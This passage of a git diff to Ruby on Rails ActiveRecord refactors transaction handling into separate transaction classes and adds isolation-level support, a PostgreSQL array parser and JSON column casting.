+ raise ActiveRecord::TransactionIsolationError, "cannot set isolation when joining a transaction"
+ end
- last_transaction_joinable = defined?(@transaction_joinable) ? @transaction_joinable : nil
- if options.has_key?(:joinable)
- @transaction_joinable = options[:joinable]
+ yield
else
- @transaction_joinable = true
+ within_new_transaction(options) { yield }
end
- requires_new = options[:requires_new] || !last_transaction_joinable
-
- transaction_open = false
- @_current_transaction_records ||= []
+ rescue ActiveRecord::Rollback
+ # rollbacks are silently swallowed
+ end
- begin
- if block_given?
- if requires_new || open_transactions == 0
- if open_transactions == 0
- begin_db_transaction
- elsif requires_new
- create_savepoint
- end
- increment_open_transactions
- transaction_open = true
- @_current_transaction_records.push([])
- end
- yield
- end
- rescue Exception => database_transaction_rollback
- if transaction_open && !outside_transaction?
- transaction_open = false
- decrement_open_transactions
- if open_transactions == 0
- rollback_db_transaction
- rollback_transaction_records(true)
- else
- rollback_to_savepoint
- rollback_transaction_records(false)
- end
- end
- raise unless database_transaction_rollback.is_a?(ActiveRecord::Rollback)
- end
+ def within_new_transaction(options = {}) #:nodoc:
+ transaction = begin_transaction(options)
+ yield
+ rescue Exception => error
+ rollback_transaction if transaction
+ raise
ensure
- @transaction_joinable = last_transaction_joinable
-
- if outside_transaction?
- @open_transactions = 0
- elsif transaction_open
- decrement_open_transactions
- begin
- if open_transactions == 0
- commit_db_transaction
- commit_transaction_records
- else
- release_savepoint
- save_point_records = @_current_transaction_records.pop
- unless save_point_records.blank?
- @_current_transaction_records.push([]) if @_current_transaction_records.empty?
- @_current_transaction_records.last.concat(save_point_records)
- end
- end
- rescue Exception => database_transaction_rollback
- if open_transactions == 0
- rollback_db_transaction
- rollback_transaction_records(true)
- else
- rollback_to_savepoint
- rollback_transaction_records(false)
- end
- raise
- end
+ begin
+ commit_transaction unless error
+ rescue Exception
+ rollback_transaction
+ raise
end
end
+ def current_transaction #:nodoc:
+ @transaction
+ end
+
+ def transaction_open?
+ @transaction.open?
+ end
+
+ def begin_transaction(options = {}) #:nodoc:
+ @transaction = @transaction.begin(options)
+ end
+
+ def commit_transaction #:nodoc:
+ @transaction = @transaction.commit
+ end
+
+ def rollback_transaction #:nodoc:
+ @transaction = @transaction.rollback
+ end
+
+ def reset_transaction #:nodoc:
+ @transaction = ClosedTransaction.new(self)
+ end
+
# Register a record with the current transaction so that its after_commit and after_rollback callbacks
# can be called.
def add_transaction_record(record)
- last_batch = @_current_transaction_records.last
- last_batch << record if last_batch
+ @transaction.add_record(record)
end
# Begins the transaction (and turns off auto-committing).
def begin_db_transaction() end
+ def transaction_isolation_levels
+ {
+ read_uncommitted: "READ UNCOMMITTED",
+ read_committed: "READ COMMITTED",
+ repeatable_read: "REPEATABLE READ",
+ serializable: "SERIALIZABLE"
+ }
+ end
+
+ # Begins the transaction with the isolation level set. Raises an error by
+ # default; adapters that support setting the isolation level should implement
+ # this method.
+ def begin_isolated_db_transaction(isolation)
+ raise ActiveRecord::TransactionIsolationError, "adapter does not support setting transaction isolation"
+ end
+
# Commits the transaction (and turns on auto-committing).
def commit_db_transaction() end
@@ -356,42 +376,6 @@ module ActiveRecord
update_sql(sql, name)
end
- # Send a rollback message to all records after they have been rolled back. If rollback
- # is false, only rollback records since the last save point.
- def rollback_transaction_records(rollback)
- if rollback
- records = @_current_transaction_records.flatten
- @_current_transaction_records.clear
- else
- records = @_current_transaction_records.pop
- end
-
- unless records.blank?
- records.uniq.each do |record|
- begin
- record.rolledback!(rollback)
- rescue => e
- record.logger.error(e) if record.respond_to?(:logger) && record.logger
- end
- end
- end
- end
-
- # Send a commit message to all records after they have been committed.
- def commit_transaction_records
- records = @_current_transaction_records.flatten
- @_current_transaction_records.clear
- unless records.blank?
- records.uniq.each do |record|
- begin
- record.committed!
- rescue => e
- record.logger.error(e) if record.respond_to?(:logger) && record.logger
- end
- end
- end
- end
-
def sql_for_insert(sql, pk, id_value, sequence_name, binds)
[sql, binds]
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
new file mode 100644
index 0000000000..9d6111b51e
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
@@ -0,0 +1,56 @@
+module ActiveRecord
+ module ConnectionAdapters # :nodoc:
+ # The goal of this module is to move Adapter specific column
+ # definitions to the Adapter instead of having it in the schema
+ # dumper itself. This code represents the normal case.
+ # We can then redefine how certain data types may be handled in the schema dumper on the
+ # Adapter level by over-writing this code inside the database spececific adapters
+ module ColumnDumper
+ def column_spec(column, types)
+ spec = prepare_column_options(column, types)
+ (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k.to_s}: ")}
+ spec
+ end
+
+ # This can be overridden on a Adapter level basis to support other
+ # extended datatypes (Example: Adding an array option in the
+ # PostgreSQLAdapter)
+ def prepare_column_options(column, types)
+ spec = {}
+ spec[:name] = column.name.inspect
+
+ # AR has an optimization which handles zero-scale decimals as integers. This
+ # code ensures that the dumper still dumps the column as a decimal.
+ spec[:type] = if column.type == :integer && /^(numeric|decimal)/ =~ column.sql_type
+ 'decimal'
+ else
+ column.type.to_s
+ end
+ spec[:limit] = column.limit.inspect if column.limit != types[column.type][:limit] && spec[:type] != 'decimal'
+ spec[:precision] = column.precision.inspect if column.precision
+ spec[:scale] = column.scale.inspect if column.scale
+ spec[:null] = 'false' unless column.null
+ spec[:default] = default_string(column.default) if column.has_default?
+ spec
+ end
+
+ # Lists the valid migration options
+ def migration_keys
+ [:name, :limit, :precision, :scale, :default, :null]
+ end
+
+ private
+
+ def default_string(value)
+ case value
+ when BigDecimal
+ value.to_s
+ when Date, DateTime, Time
+ "'#{value.to_s(:db)}'"
+ else
+ value.inspect
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
new file mode 100644
index 0000000000..4cca94e40b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
@@ -0,0 +1,165 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class Transaction #:nodoc:
+ attr_reader :connection
+
+ def initialize(connection)
+ @connection = connection
+ end
+ end
+
+ class ClosedTransaction < Transaction #:nodoc:
+ def number
+ 0
+ end
+
+ def begin(options = {})
+ RealTransaction.new(connection, self, options)
+ end
+
+ def closed?
+ true
+ end
+
+ def open?
+ false
+ end
+
+ def joinable?
+ false
+ end
+
+ # This is a noop when there are no open transactions
+ def add_record(record)
+ end
+ end
+
+ class OpenTransaction < Transaction #:nodoc:
+ attr_reader :parent, :records
+ attr_writer :joinable
+
+ def initialize(connection, parent, options = {})
+ super connection
+
+ @parent = parent
+ @records = []
+ @finishing = false
+ @joinable = options.fetch(:joinable, true)
+ end
+
+ # This state is necesarry so that we correctly handle stuff that might
+ # happen in a commit/rollback. But it's kinda distasteful. Maybe we can
+ # find a better way to structure it in the future.
+ def finishing?
+ @finishing
+ end
+
+ def joinable?
+ @joinable && !finishing?
+ end
+
+ def number
+ if finishing?
+ parent.number
+ else
+ parent.number + 1
+ end
+ end
+
+ def begin(options = {})
+ if finishing?
+ parent.begin
+ else
+ SavepointTransaction.new(connection, self, options)
+ end
+ end
+
+ def rollback
+ @finishing = true
+ perform_rollback
+ parent
+ end
+
+ def commit
+ @finishing = true
+ perform_commit
+ parent
+ end
+
+ def add_record(record)
+ records << record
+ end
+
+ def rollback_records
+ records.uniq.each do |record|
+ begin
+ record.rolledback!(parent.closed?)
+ rescue => e
+ record.logger.error(e) if record.respond_to?(:logger) && record.logger
+ end
+ end
+ end
+
+ def commit_records
+ records.uniq.each do |record|
+ begin
+ record.committed!
+ rescue => e
+ record.logger.error(e) if record.respond_to?(:logger) && record.logger
+ end
+ end
+ end
+
+ def closed?
+ false
+ end
+
+ def open?
+ true
+ end
+ end
+
+ class RealTransaction < OpenTransaction #:nodoc:
+ def initialize(connection, parent, options = {})
+ super
+
+ if options[:isolation]
+ connection.begin_isolated_db_transaction(options[:isolation])
+ else
+ connection.begin_db_transaction
+ end
+ end
+
+ def perform_rollback
+ connection.rollback_db_transaction
+ rollback_records
+ end
+
+ def perform_commit
+ connection.commit_db_transaction
+ commit_records
+ end
+ end
+
+ class SavepointTransaction < OpenTransaction #:nodoc:
+ def initialize(connection, parent, options = {})
+ if options[:isolation]
+ raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
+ end
+
+ super
+ connection.create_savepoint
+ end
+
+ def perform_rollback
+ connection.rollback_to_savepoint
+ rollback_records
+ end
+
+ def perform_commit
+ connection.release_savepoint
+ records.each { |r| parent.add_record(r) }
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index b3f9187429..0cb219767b 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -3,7 +3,9 @@ require 'bigdecimal'
require 'bigdecimal/util'
require 'active_support/core_ext/benchmark'
require 'active_record/connection_adapters/schema_cache'
+require 'active_record/connection_adapters/abstract/schema_dumper'
require 'monitor'
+require 'active_support/deprecation'
module ActiveRecord
module ConnectionAdapters # :nodoc:
@@ -33,6 +35,12 @@ module ActiveRecord
autoload :QueryCache
end
+ autoload_at 'active_record/connection_adapters/abstract/transaction' do
+ autoload :ClosedTransaction
+ autoload :RealTransaction
+ autoload :SavepointTransaction
+ end
+
# Active Record supports multiple database systems. AbstractAdapter and
# related classes form the abstraction layer which makes this possible.
# An AbstractAdapter represents a connection to a database, and provides an
@@ -52,6 +60,7 @@ module ActiveRecord
include QueryCache
include ActiveSupport::Callbacks
include MonitorMixin
+ include ColumnDumper
define_callbacks :checkout, :checkin
@@ -62,13 +71,11 @@ module ActiveRecord
def initialize(connection, logger = nil, pool = nil) #:nodoc:
super()
- @active = nil
@connection = connection
@in_use = false
@instrumenter = ActiveSupport::Notifications.instrumenter
@last_use = false
@logger = logger
- @open_transactions = 0
@pool = pool
@query_cache = Hash.new { |h,sql| h[sql] = {} }
@query_cache_enabled = false
@@ -160,6 +167,11 @@ module ActiveRecord
false
end
+ # Does this adapter support setting the isolation level for a transaction?
+ def supports_transaction_isolation?
+ false
+ end
+
# QUOTING ==================================================
# Returns a bind substitution value given a +column+ and list of current
@@ -181,19 +193,21 @@ module ActiveRecord
# checking whether the database is actually capable of responding, i.e. whether
# the connection isn't stale.
def active?
- @active != false
end
# Disconnects from the database if already connected, and establishes a
- # new connection with the database.
+ # new connection with the database. Implementors should call super if they
+ # override the default implementation.
def reconnect!
- @active = true
+ clear_cache!
+ reset_transaction
end
# Disconnects from the database if already connected. Otherwise, this
# method does nothing.
def disconnect!
- @active = false
+ clear_cache!
+ reset_transaction
end
# Reset the state of this connection, directing the DBMS to clear
@@ -236,18 +250,21 @@ module ActiveRecord
@connection
end
- attr_reader :open_transactions
+ def open_transactions
+ @transaction.number
+ end
def increment_open_transactions
- @open_transactions += 1
+ ActiveSupport::Deprecation.warn "#increment_open_transactions is deprecated and has no effect"
end
def decrement_open_transactions
- @open_transactions -= 1
+ ActiveSupport::Deprecation.warn "#decrement_open_transactions is deprecated and has no effect"
end
def transaction_joinable=(joinable)
- @transaction_joinable = joinable
+ ActiveSupport::Deprecation.warn "#transaction_joinable= is deprecated. Please pass the :joinable option to #begin_transaction instead."
+ @transaction.joinable = joinable
end
def create_savepoint
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
index 1126fe7fce..1783b036a2 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -169,6 +169,14 @@ module ActiveRecord
true
end
+ # MySQL 4 technically support transaction isolation, but it is affected by a bug
+ # where the transaction level gets persisted for the whole session:
+ #
+ # http://bugs.mysql.com/bug.php?id=39170
+ def supports_transaction_isolation?
+ version[0] >= 5
+ end
+
def native_database_types
NATIVE_DATABASE_TYPES
end
@@ -269,6 +277,13 @@ module ActiveRecord
# Transactions aren't supported
end
+ def begin_isolated_db_transaction(isolation)
+ execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
+ begin_db_transaction
+ rescue
+ # Transactions aren't supported
+ end
+
def commit_db_transaction #:nodoc:
execute "COMMIT"
rescue
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
index 1445bb3b2f..816b5e17c1 100644
--- a/activerecord/lib/active_record/connection_adapters/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -114,7 +114,7 @@ module ActiveRecord
case type
when :string, :text then var_name
- when :integer then "(#{var_name}.to_i rescue #{var_name} ? 1 : 0)"
+ when :integer then "(#{var_name}.to_i)"
when :float then "#{var_name}.to_f"
when :decimal then "#{klass}.value_to_decimal(#{var_name})"
when :datetime, :timestamp then "#{klass}.string_to_time(#{var_name})"
@@ -124,6 +124,7 @@ module ActiveRecord
when :boolean then "#{klass}.value_to_boolean(#{var_name})"
when :hstore then "#{klass}.string_to_hstore(#{var_name})"
when :inet, :cidr then "#{klass}.string_to_cidr(#{var_name})"
+ when :json then "#{klass}.string_to_json(#{var_name})"
else var_name
end
end
@@ -178,7 +179,13 @@ module ActiveRecord
return string unless string.is_a?(String)
return nil if string.blank?
- string_to_time "2000-01-01 #{string}"
+ dummy_time_string = "2000-01-01 #{string}"
+
+ fast_string_to_time(dummy_time_string) || begin
+ time_hash = Date._parse(dummy_time_string)
+ return nil if time_hash[:hour].nil?
+ new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
+ end
end
# convert something to a boolean
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
index dd40351a38..b9a61f7d91 100644
--- a/activerecord/lib/active_record/connection_adapters/connection_specification.rb
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -72,7 +72,7 @@ module ActiveRecord
:port => config.port,
:database => config.path.sub(%r{^/},""),
:host => config.host }
- spec.reject!{ |_,value| !value }
+ spec.reject!{ |_,value| value.blank? }
if config.query
options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
spec.merge!(options)
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
index 8fc172f6e8..328d080687 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -74,6 +74,7 @@ module ActiveRecord
end
def reconnect!
+ super
disconnect!
connect
end
@@ -82,6 +83,7 @@ module ActiveRecord
# Disconnects from the database if already connected.
# Otherwise, this method does nothing.
def disconnect!
+ super
unless @connection.nil?
@connection.close
@connection = nil
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index 3b0353358a..0b936bbf39 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -7,8 +7,6 @@ require 'mysql'
class Mysql
class Time
- ###
- # This monkey patch is for test_additional_columns_from_join_table
def to_date
Date.new(year, month, day)
end
@@ -191,14 +189,15 @@ module ActiveRecord
end
def reconnect!
+ super
disconnect!
- clear_cache!
connect
end
# Disconnects from the database if already connected. Otherwise, this
# method does nothing.
def disconnect!
+ super
@connection.close rescue nil
end
@@ -298,13 +297,6 @@ module ActiveRecord
@connection.insert_id
end
- class Result < ActiveRecord::Result
- def initialize(columns, rows, column_types)
- super(columns, rows)
- @column_types = column_types
- end
- end
-
module Fields
class Type
def type; end
@@ -437,7 +429,7 @@ module ActiveRecord
}
end
}
- result_set = Result.new(types.keys, result.to_a, types)
+ result_set = ActiveRecord::Result.new(types.keys, result.to_a, types)
result.free
else
result_set = ActiveRecord::Result.new([], [])
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
new file mode 100644
index 0000000000..b7d24f2bb3
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
@@ -0,0 +1,97 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLColumn < Column
+ module ArrayParser
+ private
+ # Loads pg_array_parser if available. String parsing can be
+ # performed quicker by a native extension, which will not create
+ # a large amount of Ruby objects that will need to be garbage
+ # collected. pg_array_parser has a C and Java extension
+ begin
+ require 'pg_array_parser'
+ include PgArrayParser
+ rescue LoadError
+ def parse_pg_array(string)
+ parse_data(string, 0)
+ end
+ end
+
+ def parse_data(string, index)
+ local_index = index
+ array = []
+ while(local_index < string.length)
+ case string[local_index]
+ when '{'
+ local_index,array = parse_array_contents(array, string, local_index + 1)
+ when '}'
+ return array
+ end
+ local_index += 1
+ end
+
+ array
+ end
+
+ def parse_array_contents(array, string, index)
+ is_escaping = false
+ is_quoted = false
+ was_quoted = false
+ current_item = ''
+
+ local_index = index
+ while local_index
+ token = string[local_index]
+ if is_escaping
+ current_item << token
+ is_escaping = false
+ else
+ if is_quoted
+ case token
+ when '"'
+ is_quoted = false
+ was_quoted = true
+ when "\\"
+ is_escaping = true
+ else
+ current_item << token
+ end
+ else
+ case token
+ when "\\"
+ is_escaping = true
+ when ','
+ add_item_to_array(array, current_item, was_quoted)
+ current_item = ''
+ was_quoted = false
+ when '"'
+ is_quoted = true
+ when '{'
+ internal_items = []
+ local_index,internal_items = parse_array_contents(internal_items, string, local_index + 1)
+ array.push(internal_items)
+ when '}'
+ add_item_to_array(array, current_item, was_quoted)
+ return local_index,array
+ else
+ current_item << token
+ end
+ end
+ end
+
+ local_index += 1
+ end
+ return local_index,array
+ end
+
+ def add_item_to_array(array, current_item, quoted)
+ if current_item.length == 0
+ elsif !quoted && current_item == 'NULL'
+ array.push nil
+ else
+ array.push current_item
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
new file mode 100644
index 0000000000..62d091357d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
@@ -0,0 +1,124 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLColumn < Column
+ module Cast
+ def string_to_time(string)
+ return string unless String === string
+
+ case string
+ when 'infinity'; 1.0 / 0.0
+ when '-infinity'; -1.0 / 0.0
+ else
+ super
+ end
+ end
+
+ def hstore_to_string(object)
+ if Hash === object
+ object.map { |k,v|
+ "#{escape_hstore(k)}=>#{escape_hstore(v)}"
+ }.join ','
+ else
+ object
+ end
+ end
+
+ def string_to_hstore(string)
+ if string.nil?
+ nil
+ elsif String === string
+ Hash[string.scan(HstorePair).map { |k,v|
+ v = v.upcase == 'NULL' ? nil : v.gsub(/^"(.*)"$/,'\1').gsub(/\\(.)/, '\1')
+ k = k.gsub(/^"(.*)"$/,'\1').gsub(/\\(.)/, '\1')
+ [k,v]
+ }]
+ else
+ string
+ end
+ end
+
+ def json_to_string(object)
+ if Hash === object
+ ActiveSupport::JSON.encode(object)
+ else
+ object
+ end
+ end
+
+ def array_to_string(value, column, adapter, should_be_quoted = false)
+ casted_values = value.map do |val|
+ if String === val
+ if val == "NULL"
+ "\"#{val}\""
+ else
+ quote_and_escape(adapter.type_cast(val, column, true))
+ end
+ else
+ adapter.type_cast(val, column, true)
+ end
+ end
+ "{#{casted_values.join(',')}}"
+ end
+
+ def string_to_json(string)
+ if String === string
+ ActiveSupport::JSON.decode(string)
+ else
+ string
+ end
+ end
+
+ def string_to_cidr(string)
+ if string.nil?
+ nil
+ elsif String === string
+ IPAddr.new(string)
+ else
+ string
+ end
+ end
+
+ def cidr_to_string(object)
+ if IPAddr === object
+ "#{object.to_s}/#{object.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
+ else
+ object
+ end
+ end
+
+ def string_to_array(string, oid)
+ parse_pg_array(string).map{|val| oid.type_cast val}
+ end
+
+ private
+
+ HstorePair = begin
+ quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
+ unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
+ /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
+ end
+
+ def escape_hstore(value)
+ if value.nil?
+ 'NULL'
+ else
+ if value == ""
+ '""'
+ else
+ '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
+ end
+ end
+ end
+
+ def quote_and_escape(value)
+ case value
+ when "NULL"
+ value
+ else
+ "\"#{value.gsub(/"/,"\\\"")}\""
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
new file mode 100644
index 0000000000..553985bd1e
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -0,0 +1,245 @@
+require 'active_support/deprecation'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ module DatabaseStatements
+ def explain(arel, binds = [])
+ sql = "EXPLAIN #{to_sql(arel, binds)}"
+ ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
+ end
+
+ class ExplainPrettyPrinter # :nodoc:
+ # Pretty prints the result of a EXPLAIN in a way that resembles the output of the
+ # PostgreSQL shell:
+ #
+ # QUERY PLAN
+ # ------------------------------------------------------------------------------
+ # Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
+ # Join Filter: (posts.user_id = users.id)
+ # -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4)
+ # Index Cond: (id = 1)
+ # -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
+ # Filter: (posts.user_id = 1)
+ # (6 rows)
+ #
+ def pp(result)
+ header = result.columns.first
+ lines = result.rows.map(&:first)
+
+ # We add 2 because there's one char of padding at both sides, note
+ # the extra hyphens in the example above.
+ width = [header, *lines].map(&:length).max + 2
+
+ pp = []
+
+ pp << header.center(width).rstrip
+ pp << '-' * width
+
+ pp += lines.map {|line| " #{line}"}
+
+ nrows = result.rows.length
+ rows_label = nrows == 1 ? 'row' : 'rows'
+ pp << "(#{nrows} #{rows_label})"
+
+ pp.join("\n") + "\n"
+ end
+ end
+
+ # Executes a SELECT query and returns an array of rows. Each row is an
+ # array of field values.
+ def select_rows(sql, name = nil)
+ select_raw(sql, name).last
+ end
+
+ # Executes an INSERT query and returns the new record's ID
+ def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+ unless pk
+ # Extract the table from the insert sql. Yuck.
+ table_ref = extract_table_ref_from_insert_sql(sql)
+ pk = primary_key(table_ref) if table_ref
+ end
+
+ if pk && use_insert_returning?
+ select_value("#{sql} RETURNING #{quote_column_name(pk)}")
+ elsif pk
+ super
+ last_insert_id_value(sequence_name || default_sequence_name(table_ref, pk))
+ else
+ super
+ end
+ end
+
+ def create
+ super.insert
+ end
+
+ # create a 2D array representing the result set
+ def result_as_array(res) #:nodoc:
+ # check if we have any binary column and if they need escaping
+ ftypes = Array.new(res.nfields) do |i|
+ [i, res.ftype(i)]
+ end
+
+ rows = res.values
+ return rows unless ftypes.any? { |_, x|
+ x == BYTEA_COLUMN_TYPE_OID || x == MONEY_COLUMN_TYPE_OID
+ }
+
+ typehash = ftypes.group_by { |_, type| type }
+ binaries = typehash[BYTEA_COLUMN_TYPE_OID] || []
+ monies = typehash[MONEY_COLUMN_TYPE_OID] || []
+
+ rows.each do |row|
+ # unescape string passed BYTEA field (OID == 17)
+ binaries.each do |index, _|
+ row[index] = unescape_bytea(row[index])
+ end
+
+ # If this is a money type column and there are any currency symbols,
+ # then strip them off. Indeed it would be prettier to do this in
+ # PostgreSQLColumn.string_to_decimal but would break form input
+ # fields that call value_before_type_cast.
+ monies.each do |index, _|
+ data = row[index]
+ # Because money output is formatted according to the locale, there are two
+ # cases to consider (note the decimal separators):
+ # (1) $12,345,678.12
+ # (2) $12.345.678,12
+ case data
+ when /^-?\D+[\d,]+\.\d{2}$/ # (1)
+ data.gsub!(/[^-\d.]/, '')
+ when /^-?\D+[\d.]+,\d{2}$/ # (2)
+ data.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
+ end
+ end
+ end
+ end
+
+ # Queries the database and returns the results in an Array-like object
+ def query(sql, name = nil) #:nodoc:
+ log(sql, name) do
+ result_as_array @connection.async_exec(sql)
+ end
+ end
+
+ # Executes an SQL statement, returning a PGresult object on success
+ # or raising a PGError exception otherwise.
+ def execute(sql, name = nil)
+ log(sql, name) do
+ @connection.async_exec(sql)
+ end
+ end
+
+ def substitute_at(column, index)
+ Arel::Nodes::BindParam.new "$#{index + 1}"
+ end
+
+ def exec_query(sql, name = 'SQL', binds = [])
+ log(sql, name, binds) do
+ result = binds.empty? ? exec_no_cache(sql, binds) :
+ exec_cache(sql, binds)
+
+ types = {}
+ result.fields.each_with_index do |fname, i|
+ ftype = result.ftype i
+ fmod = result.fmod i
+ types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
+ warn "unknown OID: #{fname}(#{oid}) (#{sql})"
+ OID::Identity.new
+ }
+ end
+
+ ret = ActiveRecord::Result.new(result.fields, result.values, types)
+ result.clear
+ return ret
+ end
+ end
+
+ def exec_delete(sql, name = 'SQL', binds = [])
+ log(sql, name, binds) do
+ result = binds.empty? ? exec_no_cache(sql, binds) :
+ exec_cache(sql, binds)
+ affected = result.cmd_tuples
+ result.clear
+ affected
+ end
+ end
+ alias :exec_update :exec_delete
+
+ def sql_for_insert(sql, pk, id_value, sequence_name, binds)
+ unless pk
+ # Extract the table from the insert sql. Yuck.
+ table_ref = extract_table_ref_from_insert_sql(sql)
+ pk = primary_key(table_ref) if table_ref
+ end
+
+ if pk && use_insert_returning?
+ sql = "#{sql} RETURNING #{quote_column_name(pk)}"
+ end
+
+ [sql, binds]
+ end
+
+ def exec_insert(sql, name, binds, pk = nil, sequence_name = nil)
+ val = exec_query(sql, name, binds)
+ if !use_insert_returning? && pk
+ unless sequence_name
+ table_ref = extract_table_ref_from_insert_sql(sql)
+ sequence_name = default_sequence_name(table_ref, pk)
+ return val unless sequence_name
+ end
+ last_insert_id_result(sequence_name)
+ else
+ val
+ end
+ end
+
+ # Executes an UPDATE query and returns the number of affected tuples.
+ def update_sql(sql, name = nil)
+ super.cmd_tuples
+ end
+
+ # Begins a transaction.
+ def begin_db_transaction
+ execute "BEGIN"
+ end
+
+ def begin_isolated_db_transaction(isolation)
+ begin_db_transaction
+ execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
+ end
+
+ # Commits a transaction.
+ def commit_db_transaction
+ execute "COMMIT"
+ end
+
+ # Aborts a transaction.
+ def rollback_db_transaction
+ execute "ROLLBACK"
+ end
+
+ def outside_transaction?
+ ActiveSupport::Deprecation.warn(
+ "#outside_transaction? is deprecated. This method was only really used " \
+ "internally, but you can use #transaction_open? instead."
+ )
+ @connection.transaction_status == PGconn::PQTRANS_IDLE
+ end
+
+ def create_savepoint
+ execute("SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def rollback_to_savepoint
+ execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def release_savepoint
+ execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
index 6657491c06..52344f61c0 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -63,6 +63,21 @@ module ActiveRecord
end
end
+ class Array < Type
+ attr_reader :subtype
+ def initialize(subtype)
+ @subtype = subtype
+ end
+
+ def type_cast(value)
+ if String === value
+ ConnectionAdapters::PostgreSQLColumn.string_to_array value, @subtype
+ else
+ value
+ end
+ end
+ end
+
class Integer < Type
def type_cast(value)
return if value.nil?
@@ -145,6 +160,14 @@ module ActiveRecord
end
end
+ class Json < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::PostgreSQLColumn.string_to_json value
+ end
+ end
+
class TypeMap
def initialize
@mapping = {}
@@ -244,6 +267,7 @@ module ActiveRecord
register_type 'polygon', OID::Identity.new
register_type 'circle', OID::Identity.new
register_type 'hstore', OID::Hstore.new
+ register_type 'json', OID::Json.new
register_type 'cidr', OID::Cidr.new
alias_type 'inet', 'cidr'
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
new file mode 100644
index 0000000000..37d43d891d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
@@ -0,0 +1,141 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ module Quoting
+ # Escapes binary strings for bytea input to the database.
+ def escape_bytea(value)
+ PGconn.escape_bytea(value) if value
+ end
+
+ # Unescapes bytea output from a database to the binary string it represents.
+ # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
+ # on escaped binary output from database drive.
+ def unescape_bytea(value)
